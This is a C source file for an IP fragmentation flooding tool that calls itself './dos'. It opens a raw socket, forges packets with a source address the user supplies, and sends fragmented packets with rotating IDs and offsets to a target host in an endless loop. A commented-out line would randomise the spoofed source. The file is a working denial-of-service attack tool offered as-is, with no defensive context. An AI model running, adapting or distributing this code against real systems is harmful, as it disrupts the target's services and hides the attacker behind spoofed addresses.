#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>

#define PKG_BUF 2048


static inline void die_on_error(const char *err_prefix, int ret)
{
    if (ret) {
        if (errno)
            perror(err_prefix);
        abort();
    }
}

static unsigned short csum(unsigned short *ptr, int nbytes) 
{
    long sum;
    unsigned short oddbyte;
    short answer;

    sum = 0;

    while (nbytes > 1) {
        sum += *ptr++;
        nbytes -= 2;
    }

    if (nbytes == 1) {
        oddbyte = 0;
        *((u_char*) &oddbyte) =* (u_char*) ptr;
        sum += oddbyte;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum = sum + (sum >> 16);
    answer = (short) ~sum;

    return(answer);
}

int main(int argc, char **argv)
{
    unsigned char pkg[PKG_BUF];
    struct iphdr *ip = (struct iphdr *) pkg;
    struct sockaddr_in dest;
    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    int r, val = 1;
    size_t data_size = 896 - sizeof *ip;
    useconds_t send_rate = 1 * 1000; /* 50ms */
    size_t cur_frags, max_frags = 64;
    uint16_t id, max_bucket = 32;

    die_on_error("socket", s < 0);

    r = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &val, sizeof val);
    die_on_error("setsockopt", r != 0);

    if (argc != 3) {
        printf("usage: %s [SOURCE-IP] [DEST-IP]\n", (argc > 0 ? argv[0] : "./dos"));
        return 1;
    }
    printf("smack: %s -> %s\n", argv[1], argv[2]);

    memset(&dest, 0, sizeof dest);
    memset(pkg, 0, sizeof pkg);

    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = data_size - sizeof(struct iphdr);
    assert(ip->tot_len <= PKG_BUF);
    ip->id = 0;
    ip->frag_off = 0;
    ip->ttl = 255;
    ip->protocol = IPPROTO_IP;
    ip->check = 0;
    ip->saddr = inet_addr(argv[1]);
    ip->daddr = inet_addr(argv[2]);
    ip->check = csum((unsigned short *) pkg, sizeof *ip);

    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = inet_addr(argv[2]);

    srandom(time(NULL));
    cur_frags = 0;
    while (1) {
        if (cur_frags % max_frags == 0) {
            ip->frag_off &= 0xFF1F;
            id = ip->id;
            for (uint16_t i = 0; i < max_bucket; ++i) { 
                ip->id = htons(id + i);
                r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
                die_on_error("sendto", r != ip->tot_len);
            }
            ip->id = id;

            ip->id = (uint16_t) random();
            ip->frag_off = 0x0020;
            printf("ip->id = %u\n", ip->id);
        }

        //ip->saddr = (uint32_t) random();
        id = ip->id;
        for (uint16_t i = 0; i < max_bucket; ++i) {
            ip->id = htons(id + i);
            r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest);
            die_on_error("sendto", r != ip->tot_len);
        }
        ip->id = id;

        usleep(send_rate);
        printf("%zu: ipd->id = %04X , ip->frag_off = %04X\n", cur_frags,
            ip->id, ntohs(ip->frag_off));
        ip->frag_off += htons(8);
        cur_frags++;
    }

    return 0;
}